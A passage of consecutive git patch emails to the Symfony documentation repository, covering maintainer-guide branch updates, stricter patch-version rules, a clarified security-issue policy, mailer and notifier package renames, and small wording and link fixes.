-      Working on symfony/symfony-docs (branch 6.0)
+      Working on symfony/symfony-docs (branch 6.1)
       Merging Pull Request 11059: dmaicher/patch-3
 
       ...
 
       # This is important!! Say NO to push the changes now
       Push the changes now? (Y/n) n
-      Now, push with: git push gh "6.0" refs/notes/github-comments
+      Now, push with: git push gh "6.1" refs/notes/github-comments
 
       # Now, open your editor and make the needed changes ...
 
@@ -54,7 +54,7 @@ contributes again, it's OK to mention some of the minor issues to educate them.
       # Use "Minor reword", "Minor tweak", etc. as the commit message
 
       # now run the 'push' command shown above by 'gh' (it's different each time)
-      $ git push gh "6.0" refs/notes/github-comments
+      $ git push gh "6.1" refs/notes/github-comments
 
 Merging Pull Requests
 ---------------------

From 5373de12981007ea03bfc1d9fd61f008dbba336e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 17 Jun 2022 09:53:59 +0200
Subject: [PATCH 3319/7107] Minor update

---
 _build/maintainer_guide.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/_build/maintainer_guide.rst b/_build/maintainer_guide.rst
index d82105e9760..9758b4e7397 100644
--- a/_build/maintainer_guide.rst
+++ b/_build/maintainer_guide.rst
@@ -39,14 +39,14 @@ contributes again, it's OK to mention some of the minor issues to educate them.
 
     $ gh merge 11059
 
-      Working on symfony/symfony-docs (branch 6.1)
+      Working on symfony/symfony-docs (branch 6.2)
       Merging Pull Request 11059: dmaicher/patch-3
 
       ...
 
       # This is important!! Say NO to push the changes now
       Push the changes now? (Y/n) n
-      Now, push with: git push gh "6.1" refs/notes/github-comments
+      Now, push with: git push gh "6.2" refs/notes/github-comments
 
       # Now, open your editor and make the needed changes ...
 
@@ -54,7 +54,7 @@ contributes again, it's OK to mention some of the minor issues to educate them.
       # Use "Minor reword", "Minor tweak", etc. as the commit message
 
       # now run the 'push' command shown above by 'gh' (it's different each time)
-      $ git push gh "6.1" refs/notes/github-comments
+      $ git push gh "6.2" refs/notes/github-comments
 
 Merging Pull Requests
 ---------------------

From 6627a1be73054918df58a94839db820417f2cf17 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Fri, 17 Jun 2022 10:09:33 +0200
Subject: [PATCH 3320/7107] Tighten the rules of what can be merged in patch
 versions

---
 contributing/code/maintenance.rst | 36 ++++++++++++++++++++-----------
 1 file changed, 24 insertions(+), 12 deletions(-)

diff --git a/contributing/code/maintenance.rst b/contributing/code/maintenance.rst
index caca1b54759..75056d05160 100644
--- a/contributing/code/maintenance.rst
+++ b/contributing/code/maintenance.rst
@@ -11,26 +11,30 @@ acceptable changes.
 * New unit tests cover the bug fix;
 * The current buggy behavior is not widely used as a "feature".
 
+While working on a bug fix, don't refactor the code or introduce new classes.
+
 .. note::
 
     When documentation (or PHPDoc) is not in sync with the code, code behavior
     should always be considered as being the correct one.
 
-Besides bug fixes, other minor changes can be accepted in a patch version:
+To avoid backward compatibility breaks, we tend to be very strict about changes
+accepted for patch versions.
 
-* **Performance improvement**: Performance improvement should only be accepted
-  if the changes are local (located in one class) and only for algorithmic
-  issues (any such patches must come with numbers that show a significant
-  improvement on real-world code);
+Besides bug fixes, other minor changes might be accepted in a patch version on
+a case by case basis:
 
-* **Newer versions of PHP**: Fixes that add support for newer versions of
-  PHP are acceptable if they don't break the unit test suite;
+* **Newer versions of PHP**: Fixes that add support for newer versions of PHP
+  are acceptable if they don't break the unit test suite, but we never add
+  support for newer PHP features;
 
 * **Newer versions of popular OSes**: Fixes that add support for newer versions
   of popular OSes (Linux, MacOS and Windows) are acceptable if they don't break
-  the unit test suite;
+  the unit test suite, but we never add support for newer PHP features or newer
+  versions of OSes;
 
-* **Translations**: Translation updates and additions are accepted;
+* **Translations**: Translation updates and additions are always merged in the
+  oldest maintained branch;
 
 * **External data**: Updates for external data included in Symfony can be
   updated (like ICU for instance);
@@ -39,13 +43,21 @@ Besides bug fixes, other minor changes can be accepted in a patch version:
   of a dependency is possible, bumping to a major one or increasing PHP
   minimal version is not;
 
+* **Tests**: Tests that increase the code coverage can be added.
+
+The following changes are **generally not accepted** in a patch version, except
+on a case by case basis:
+
+* **Performance improvement**: Performance improvement should only be accepted
+  if the changes are local (located in one class) and only for algorithmic
+  issues (any such patches must come with numbers that show a significant
+  improvement on real-world code);
+
 * **Coding standard and refactoring**: Coding standard fixes or code
-  refactoring are not recommended but can be accepted for consistency with the
+  refactoring are almost never accepted except for consistency with the
   existing code base, if they are not too invasive, and if merging them into
   higher branches would not lead to complex branch merging;
 
-* **Tests**: Tests that increase the code coverage can be added.
-
 Anything not explicitly listed above should be done on the next minor or major
 version instead. For instance, the following changes are never accepted in a
 patch version:

From 62fba4525f34bc925298a4ab900fb5f4068625fb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 17 Jun 2022 16:13:41 +0200
Subject: [PATCH 3321/7107] Minor typo

---
 contributing/code/maintenance.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/maintenance.rst b/contributing/code/maintenance.rst
index 75056d05160..53569c903fa 100644
--- a/contributing/code/maintenance.rst
+++ b/contributing/code/maintenance.rst
@@ -56,7 +56,7 @@ on a case by case basis:
 * **Coding standard and refactoring**: Coding standard fixes or code
   refactoring are almost never accepted except for consistency with the
   existing code base, if they are not too invasive, and if merging them into
-  higher branches would not lead to complex branch merging;
+  higher branches would not lead to complex branch merging.
 
 Anything not explicitly listed above should be done on the next minor or major
 version instead. For instance, the following changes are never accepted in a

From 3445fbcc044232c7ec13546f226c9fc9edba5c25 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Fri, 17 Jun 2022 16:40:01 +0200
Subject: [PATCH 3322/7107] Add more information about security issues

---
 contributing/code/maintenance.rst |  2 ++
 contributing/code/security.rst    | 22 ++++++++++++++++++++++
 2 files changed, 24 insertions(+)

diff --git a/contributing/code/maintenance.rst b/contributing/code/maintenance.rst
index 53569c903fa..7a6edd9b788 100644
--- a/contributing/code/maintenance.rst
+++ b/contributing/code/maintenance.rst
@@ -64,6 +64,8 @@ patch version:
 
 * **New features**;
 
+* **Security hardening**;
+
 * **Backward compatibility breaks**: Note that backward compatibility breaks
   can be done when fixing a security issue if it would not be possible to fix
   it otherwise;
diff --git a/contributing/code/security.rst b/contributing/code/security.rst
index 32401d658f9..7aab51ff919 100644
--- a/contributing/code/security.rst
+++ b/contributing/code/security.rst
@@ -13,6 +13,28 @@ bug tracker and don't publish it publicly. Instead, all security issues must
 be sent to **security [at] symfony.com**. Emails sent to this address are
 forwarded to the Symfony core team private mailing-list.
 
+The following issues are not considered security issues and should be handled
+as regular bug fixes (if you have any doubts, don't hesitate to send us an
+email for confirmation):
+
+* Any security issues found in debug tools that must never be enabled in
+  production (including the web profiler or anything enabled when ``APP_DEBUG``
+  is set to ``true`` or ``APP_ENV`` set to anything but ``prod``);
+
+* Any fix that can be classified as **security hardening** like route
+  enumeration, login throttling bypasses, denial of service attacks, or timing
+  attacks.
+
+In any case, the core team has the final decision on which issues are
+considered security vulnerabilities.
+
+Security Bug Bounties
+---------------------
+
+Symfony is an Open-Source project where most of the work is done by volunteers.
+We appreciate that developers are trying to find security issues in Symfony and
+report them responsibly, but we are currently unable to pay bug bounties.
+
 Resolving Process
 -----------------
 

From 7163e0138976a441d0e48708636786daa02d9c04 Mon Sep 17 00:00:00 2001
From: Thomas <57677046+TomLorenzi@users.noreply.github.com>
Date: Fri, 17 Jun 2022 10:05:41 +0200
Subject: [PATCH 3323/7107] Update cache.rst fix small sentence

---
 cache.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/cache.rst b/cache.rst
index d2eb92fd339..0c2cfbb8646 100644
--- a/cache.rst
+++ b/cache.rst
@@ -806,7 +806,7 @@ Then, register the ``SodiumMarshaller`` service using this key:
 .. caution::
 
     This will encrypt the values of the cache items, but not the cache keys. Be
-    careful not the leak sensitive data in the keys.
+    careful not to leak sensitive data in the keys.
 
 When configuring multiple keys, the first key will be used for reading and
 writing, and the additional key(s) will only be used for reading. Once all

From c7444ddc02c8797bcf78d6ac9a7db531df1f307e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 18 Jun 2022 11:56:39 +0200
Subject: [PATCH 3324/7107] Minor tweaks

---
 reference/forms/types/options/choice_label.rst.inc |  5 +++++
 reference/forms/types/options/label.rst.inc        | 10 +++++-----
 2 files changed, 10 insertions(+), 5 deletions(-)

diff --git a/reference/forms/types/options/choice_label.rst.inc b/reference/forms/types/options/choice_label.rst.inc
index aa83524ad88..0acb25f67b9 100644
--- a/reference/forms/types/options/choice_label.rst.inc
+++ b/reference/forms/types/options/choice_label.rst.inc
@@ -29,6 +29,11 @@ more control::
         },
     ]);
 
+.. versionadded:: 5.2
+
+    The support for ``TranslatableMessage`` objects in ``choice_label`` was
+    introduced in Symfony 5.2.
+
 This method is called for *each* choice, passing you the ``$choice`` and
 ``$key`` from the choices array (additional ``$value`` is related to `choice_value`_).
 This will give you:
diff --git a/reference/forms/types/options/label.rst.inc b/reference/forms/types/options/label.rst.inc
index da8285a8632..471d8267082 100644
--- a/reference/forms/types/options/label.rst.inc
+++ b/reference/forms/types/options/label.rst.inc
@@ -11,14 +11,14 @@ will suppress the label.
     $builder
         ->add('zipCode', null, [
             'label' => 'The ZIP/Postal code',
+            // optionally, you can use TranslatableMessage objects as the label content
+            'label' => new TranslatableMessage('address.zipCode', ['%country%' => $country], 'address'),
         ])
 
-    // ...
+.. versionadded:: 5.2
 
-    ->add('zipCode', null, [
-            'label' => new TranslatableMessage('address.zipCode', ['%country%' => $country], 'address'),
-        ])
-    ;
+    The support for ``TranslatableMessage`` objects in ``label`` was
+    introduced in Symfony 5.2.
 
 The label can also be set in the template:
 

From 6e5f695259069524447602a10e341fa5039172e7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 18 Jun 2022 11:58:25 +0200
Subject: [PATCH 3325/7107] Remove versionadded directive

---
 reference/forms/types/options/choice_label.rst.inc | 5 -----
 reference/forms/types/options/label.rst.inc        | 5 -----
 2 files changed, 10 deletions(-)

diff --git a/reference/forms/types/options/choice_label.rst.inc b/reference/forms/types/options/choice_label.rst.inc
index 0acb25f67b9..aa83524ad88 100644
--- a/reference/forms/types/options/choice_label.rst.inc
+++ b/reference/forms/types/options/choice_label.rst.inc
@@ -29,11 +29,6 @@ more control::
         },
     ]);
 
-.. versionadded:: 5.2
-
-    The support for ``TranslatableMessage`` objects in ``choice_label`` was
-    introduced in Symfony 5.2.
-
 This method is called for *each* choice, passing you the ``$choice`` and
 ``$key`` from the choices array (additional ``$value`` is related to `choice_value`_).
 This will give you:
diff --git a/reference/forms/types/options/label.rst.inc b/reference/forms/types/options/label.rst.inc
index 471d8267082..692c3b41e2a 100644
--- a/reference/forms/types/options/label.rst.inc
+++ b/reference/forms/types/options/label.rst.inc
@@ -15,11 +15,6 @@ will suppress the label.
             'label' => new TranslatableMessage('address.zipCode', ['%country%' => $country], 'address'),
         ])
 
-.. versionadded:: 5.2
-
-    The support for ``TranslatableMessage`` objects in ``label`` was
-    introduced in Symfony 5.2.
-
 The label can also be set in the template:
 
 .. configuration-block::

From 9d90705ac83a5554113192210bc8b5e3c79c1411 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Luk=C3=A1=C5=A1=20Holeczy?= <info@lukasholeczy.eu>
Date: Sun, 19 Jun 2022 16:31:41 +0200
Subject: [PATCH 3326/7107] [Mailer] Rename OhMySMTP to MailPace

OhMySMTP mailer transport was deprecated in Symfony 6.2, new transport MailPace was created due to the service name change.

https://docs.mailpace.com/guide/moving_from_ohmysmtp/
---
 mailer.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 466c2ebc65d..7c94d2e40e8 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -110,7 +110,7 @@ Mailjet             ``composer require symfony/mailjet-mailer``
 Postmark            ``composer require symfony/postmark-mailer``
 SendGrid            ``composer require symfony/sendgrid-mailer``
 Sendinblue          ``composer require symfony/sendinblue-mailer``
-OhMySMTP            ``composer require symfony/oh-my-smtp-mailer``
+MailPace            ``composer require symfony/mailpace-mailer``
 ==================  ==============================================
 
 Each library includes a :ref:`Symfony Flex recipe <symfony-flex>` that will add
@@ -158,10 +158,10 @@ Google Gmail         gmail+smtp://USERNAME:PASSWORD@default               n/a
 Mailchimp Mandrill   mandrill+smtp://USERNAME:PASSWORD@default            mandrill+https://KEY@default                mandrill+api://KEY@default
 Mailgun              mailgun+smtp://USERNAME:PASSWORD@default             mailgun+https://KEY:DOMAIN@default          mailgun+api://KEY:DOMAIN@default
 Mailjet              mailjet+smtp://ACCESS_KEY:SECRET_KEY@default         n/a                                         mailjet+api://ACCESS_KEY:SECRET_KEY@default
+MailPace             mailpace+api://API_TOKEN@default                     n/a                                         mailpace+api://API_TOKEN@default
 Postmark             postmark+smtp://ID@default                           n/a                                         postmark+api://KEY@default
 Sendgrid             sendgrid+smtp://KEY@default                          n/a                                         sendgrid+api://KEY@default
 Sendinblue           sendinblue+smtp://USERNAME:PASSWORD@default          n/a                                         sendinblue+api://KEY@default
-OhMySMTP             ohmysmtp+smtp://API_TOKEN@default                    n/a                                         ohmysmtp+api://API_TOKEN@default
 ==================== ==================================================== =========================================== ========================================
 
 .. caution::
@@ -1271,7 +1271,7 @@ The following transports currently support tags and metadata:
 
 The following transports only support tags:
 
-* OhMySMTP
+* MailPace
 
 The following transports only support metadata:
 

From 094cc5046fb676d751501909ef8436b627dbb362 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Sun, 19 Jun 2022 15:28:20 -0300
Subject: [PATCH 3327/7107] [Notifier] Fix abandoned & broken package names of
 third-party integration services

---
 notifier.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 1fb68b6416c..448770ed5cd 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -59,13 +59,13 @@ with a couple popular SMS services:
 ==============  ====================================  ===========================================================================
 Service         Package                               DSN
 ==============  ====================================  ===========================================================================
-AllMySms        ``symfony/allmysms-notifier``         ``allmysms://LOGIN:APIKEY@default?from=FROM``
+AllMySms        ``symfony/all-my-sms-notifier``       ``allmysms://LOGIN:APIKEY@default?from=FROM``
 AmazonSns       ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
 Clickatell      ``symfony/clickatell-notifier``       ``clickatell://ACCESS_TOKEN@default?from=FROM``
 Esendex         ``symfony/esendex-notifier``          ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
 FakeSms         ``symfony/fake-sms-notifier``         ``fakesms+email://MAILER_SERVICE_ID?to=TO&from=FROM`` or ``fakesms+logger://default``
 FreeMobile      ``symfony/free-mobile-notifier``      ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
-GatewayApi      ``symfony/gatewayapi-notifier``       ``gatewayapi://TOKEN@default?from=FROM``
+GatewayApi      ``symfony/gateway-api-notifier``      ``gatewayapi://TOKEN@default?from=FROM``
 Infobip         ``symfony/infobip-notifier``          ``infobip://AUTH_TOKEN@HOST?from=FROM``
 Iqsms           ``symfony/iqsms-notifier``            ``iqsms://LOGIN:PASSWORD@default?from=FROM``
 LightSms        ``symfony/light-sms-notifier``        ``lightsms://LOGIN:TOKEN@default?from=PHONE``
@@ -82,7 +82,7 @@ Sinch           ``symfony/sinch-notifier``            ``sinch://ACCOUNT_ID:AUTH_
 Smsapi          ``symfony/smsapi-notifier``           ``smsapi://TOKEN@default?from=FROM``
 SmsBiuras       ``symfony/sms-biuras-notifier``       ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0``
 Smsc            ``symfony/smsc-notifier``             ``smsc://LOGIN:PASSWORD@default?from=FROM``
-SpotHit         ``symfony/spothit-notifier``          ``spothit://TOKEN@default?from=FROM``
+SpotHit         ``symfony/spot-hit-notifier``         ``spothit://TOKEN@default?from=FROM``
 Telnyx          ``symfony/telnyx-notifier``           ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID``
 TurboSms        ``symfony/turbo-sms-notifier``        ``turbosms://AUTH_TOKEN@default?from=FROM``
 Twilio          ``symfony/twilio-notifier``           ``twilio://SID:TOKEN@default?from=FROM``

From 6aed3c9b438640585d41339edbfe8ba8177dfa3e Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Sun, 19 Jun 2022 15:33:13 -0300
Subject: [PATCH 3328/7107] [Notifier] Mark nexmo-notifier as abandoned

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 9adcb3cead2..3a8f2ce1f26 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -80,7 +80,7 @@ Mailjet         ``symfony/mailjet-notifier``          ``mailjet://TOKEN@default?
 MessageBird     ``symfony/message-bird-notifier``     ``messagebird://TOKEN@default?from=FROM``
 MessageMedia    ``symfony/message-media-notifier``    ``messagemedia://API_KEY:API_SECRET@default?from=FROM``
 Mobyt           ``symfony/mobyt-notifier``            ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
-Nexmo           ``symfony/nexmo-notifier``            ``nexmo://KEY:SECRET@default?from=FROM``
+Nexmo           ``symfony/nexmo-notifier``            Abandoned: see symfony/vonage-notifier.
 Octopush        ``symfony/octopush-notifier``         ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
 OvhCloud        ``symfony/ovh-cloud-notifier``        ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``
 Sendinblue      ``symfony/sendinblue-notifier``       ``sendinblue://API_KEY@default?sender=PHONE``

From 174627bb5bbbe6ed836140536a2313afdce8f5a3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 20 Jun 2022 09:26:40 +0200
Subject: [PATCH 3329/7107] Minor tweak

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 3a8f2ce1f26..015f6255150 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -80,7 +80,7 @@ Mailjet         ``symfony/mailjet-notifier``          ``mailjet://TOKEN@default?
 MessageBird     ``symfony/message-bird-notifier``     ``messagebird://TOKEN@default?from=FROM``
 MessageMedia    ``symfony/message-media-notifier``    ``messagemedia://API_KEY:API_SECRET@default?from=FROM``
 Mobyt           ``symfony/mobyt-notifier``            ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
-Nexmo           ``symfony/nexmo-notifier``            Abandoned: see symfony/vonage-notifier.
+Nexmo           ``symfony/nexmo-notifier``            Abandoned in favor of Vonage (symfony/vonage-notifier).
 Octopush        ``symfony/octopush-notifier``         ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
 OvhCloud        ``symfony/ovh-cloud-notifier``        ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``
 Sendinblue      ``symfony/sendinblue-notifier``       ``sendinblue://API_KEY@default?sender=PHONE``

From bc5a23377f8e605735969a5153c790fa00169a3b Mon Sep 17 00:00:00 2001
From: Mathieu Lechat <mlechat@lucca.fr>
Date: Sat, 18 Jun 2022 21:35:57 +0200
Subject: [PATCH 3330/7107] [HttpClient] Mention `extra.trace_content` option

---
 http_client.rst | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index 8123c081aa7..1d84c059e1f 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -814,6 +814,25 @@ ensure local networks are made inaccessible to the HTTP client::
     // but all the other requests, including other internal networks, will be allowed
     $client = new NoPrivateNetworkHttpClient(HttpClient::create(), ['104.26.14.0/23']);
 
+Profiling
+~~~~~~~~~
+
+When you are using the :class:`Symfony\\Component\\HttpClient\\TraceableHttpClient`,
+responses content will be kept in memory and may exhaust it.
+
+You can disable this behavior by setting the ``extra.trace_content`` option to ``false``
+in your requests::
+
+    $response = $client->request('GET', 'https://...', [
+        'extra' => ['trace_content' => false],
+    ]);
+
+This setting won’t affect other clients.
+
+.. versionadded:: 5.2
+
+    The ``extra.trace_content`` option was introduced in Symfony 5.2.
+
 Performance
 -----------
 

From 5717e80508c33731e6beb28357728d7390db5757 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Mon, 20 Jun 2022 11:48:20 -0400
Subject: [PATCH 3331/7107] Tweaking name of Symfonycasts tutorial for Symfony
 6

---
 page_creation.rst | 2 +-
 setup.rst         | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/page_creation.rst b/page_creation.rst
index 48e20b08e0b..d17382f2998 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -21,7 +21,7 @@ two-step process:
 .. admonition:: Screencast
     :class: screencast
 
-    Do you prefer video tutorials? Check out the `Stellar Development with Symfony`_
+    Do you prefer video tutorials? Check out the `Harmonious Development with Symfony`_
     screencast series.
 
 .. seealso::
diff --git a/setup.rst b/setup.rst
index be41fa9aeff..4efb08a9e9e 100644
--- a/setup.rst
+++ b/setup.rst
@@ -7,7 +7,7 @@ Installing & Setting up the Symfony Framework
 .. admonition:: Screencast
     :class: screencast
 
-    Do you prefer video tutorials? Check out the `Stellar Development with Symfony`_
+    Do you prefer video tutorials? Check out the `Harmonious Development with Symfony`_
     screencast series.
 
 .. _symfony-tech-requirements:

From d2fc0d0d58e01f2a4da81e33407a124811426684 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 20 Jun 2022 17:59:15 +0200
Subject: [PATCH 3332/7107] Fix references

---
 page_creation.rst | 2 +-
 setup.rst         | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/page_creation.rst b/page_creation.rst
index d17382f2998..d30bf994954 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -367,5 +367,5 @@ Go Deeper with HTTP & Framework Fundamentals
 
 .. _`Twig`: https://twig.symfony.com
 .. _`Composer`: https://getcomposer.org
-.. _`Stellar Development with Symfony`: https://symfonycasts.com/screencast/symfony/setup
+.. _`Harmonious Development with Symfony`: https://symfonycasts.com/screencast/symfony/setup
 .. _`Flex recipes`: https://github.com/symfony/recipes/blob/flex/main/RECIPES.md
diff --git a/setup.rst b/setup.rst
index 4efb08a9e9e..64e4faf5f94 100644
--- a/setup.rst
+++ b/setup.rst
@@ -317,7 +317,7 @@ Learn More
     setup/web_server_configuration
     setup/*
 
-.. _`Stellar Development with Symfony`: https://symfonycasts.com/screencast/symfony
+.. _`Harmonious Development with Symfony`: https://symfonycasts.com/screencast/symfony
 .. _`Install Composer`: https://getcomposer.org/download/
 .. _`install Symfony CLI`: https://symfony.com/download
 .. _`symfony-cli/symfony-cli GitHub repository`: https://github.com/symfony-cli/symfony-cli

From 8c489084dd44c1899345e85fca6fbce4f78e3701 Mon Sep 17 00:00:00 2001
From: Cyril VERLOOP <cyril.verloop@webqard.fr>
Date: Thu, 23 Jun 2022 11:31:25 +0200
Subject: [PATCH 3333/7107] Updating ICU documentation link.

---
 reference/constraints/Locale.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Locale.rst b/reference/constraints/Locale.rst
index a6184df42c6..7bbf13d4a3a 100644
--- a/reference/constraints/Locale.rst
+++ b/reference/constraints/Locale.rst
@@ -117,6 +117,6 @@ Parameter        Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-.. _`ICU format locale IDs`: http://userguide.icu-project.org/locale
+.. _`ICU format locale IDs`: https://unicode-org.github.io/icu/userguide/locale/
 .. _`ISO 639-1`: https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes
 .. _`ISO 3166-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_3166-1#Current_codes

From 577a261fe77ef0483becfb3d54b96fd7d17b3547 Mon Sep 17 00:00:00 2001
From: ondra <ondra@on-idle.com>
Date: Thu, 23 Jun 2022 12:04:21 +0200
Subject: [PATCH 3334/7107] [SymfonyRuntime] option 'dotenv_overload' mention

---
 components/runtime.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/components/runtime.rst b/components/runtime.rst
index b3b3bef1ecd..0a44db2858f 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -337,6 +337,8 @@ The following options are supported by the ``SymfonyRuntime``:
     To disable looking for ``.env`` files.
 ``dotenv_path`` (default: ``.env``)
     To define the path of dot-env files.
+``dotenv_overload`` (default: ``false``)
+    To tell Dotenv whether to override ``.env`` vars with ``.env.local`` (or other ``.env.*``)
 ``use_putenv``
     To tell Dotenv to set env vars using ``putenv()`` (NOT RECOMMENDED).
 ``prod_envs`` (default: ``["prod"]``)

From e834d346c739f3b7510fc9b2fb64657284662234 Mon Sep 17 00:00:00 2001
From: Maxime Pinot <contact@maximepinot.com>
Date: Tue, 21 Jun 2022 16:17:17 +0200
Subject: [PATCH 3335/7107] [Testing] [PHPUnit Bridge] Fix link text

---
 components/phpunit_bridge.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index dfff0e39cfe..bfc6eaf0634 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -48,7 +48,7 @@ Installation
     always use its very latest stable major version to get the most accurate
     deprecation report.
 
-If you plan to :ref:`write-assertions-about-deprecations` and use the regular
+If you plan to :ref:`write assertions about deprecations <write-assertions-about-deprecations>` and use the regular
 PHPUnit script (not the modified PHPUnit script provided by Symfony), you have
 to register a new `test listener`_ called ``SymfonyTestsListener``:
 

From 515203d142c60b3b2bb846ae5fc8ff1109958601 Mon Sep 17 00:00:00 2001
From: Cyril VERLOOP <cyril.verloop@webqard.fr>
Date: Thu, 23 Jun 2022 11:31:25 +0200
Subject: [PATCH 3336/7107] Updating ICU documentation link.

---
 reference/constraints/Locale.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Locale.rst b/reference/constraints/Locale.rst
index c61b12187b7..85fc8ee25d2 100644
--- a/reference/constraints/Locale.rst
+++ b/reference/constraints/Locale.rst
@@ -128,6 +128,6 @@ Parameter        Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-.. _`ICU format locale IDs`: http://userguide.icu-project.org/locale
+.. _`ICU format locale IDs`: https://unicode-org.github.io/icu/userguide/locale/
 .. _`ISO 639-1`: https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes
 .. _`ISO 3166-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_3166-1#Current_codes

From 1f0a475df80ad49a4825ad518d08807aac61b7c4 Mon Sep 17 00:00:00 2001
From: Maxime Pinot <contact@maximepinot.com>
Date: Tue, 21 Jun 2022 16:17:17 +0200
Subject: [PATCH 3337/7107] [Testing] [PHPUnit Bridge] Fix link text

---
 components/phpunit_bridge.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index a6722b417f3..83483081451 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -48,7 +48,7 @@ Installation
     always use its very latest stable major version to get the most accurate
     deprecation report.
 
-If you plan to :ref:`write-assertions-about-deprecations` and use the regular
+If you plan to :ref:`write assertions about deprecations <write-assertions-about-deprecations>` and use the regular
 PHPUnit script (not the modified PHPUnit script provided by Symfony), you have
 to register a new `test listener`_ called ``SymfonyTestsListener``:
 

From 44bc6c38f67c489a1431e5bf2938811d163656a9 Mon Sep 17 00:00:00 2001
From: Peter <peter01101101@gmail.com>
Date: Sat, 18 Jun 2022 10:38:42 +0100
Subject: [PATCH 3338/7107] Adding single quotes around version param

Adding single quotes around version param as otherwise getting this in zsh on MBP:

peter@Peters-MacBook-Pro-3 Projects % symfony new my_project_directory --version=6.0.* --webapp
zsh: no matches found: --version=6.0.*
---
 setup.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/setup.rst b/setup.rst
index 64e4faf5f94..e0b755c382c 100644
--- a/setup.rst
+++ b/setup.rst
@@ -49,10 +49,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_directory --version=6.0.* --webapp
+    $ symfony new my_project_directory --version='6.0.*' --webapp
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_directory --version=6.0.*
+    $ symfony new my_project_directory --version='6.0.*'
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--webapp`` option installs all the packages that you
@@ -273,7 +273,7 @@ stable version. If you want to use an LTS version, add the ``--version`` option:
     $ symfony new my_project_directory --version=next
 
     # you can also select an exact specific Symfony version
-    $ symfony new my_project_directory --version=5.4.*
+    $ symfony new my_project_directory --version='5.4.*'
 
 The ``lts`` and ``next`` shortcuts are only available when using Symfony to
 create new projects. If you use Composer, you need to tell the exact version:

From 95562dd22d2587f92a30bf385dc42aea966737ec Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 23 Jun 2022 16:36:47 +0200
Subject: [PATCH 3339/7107] Use double quotes

---
 setup.rst | 6 +++---
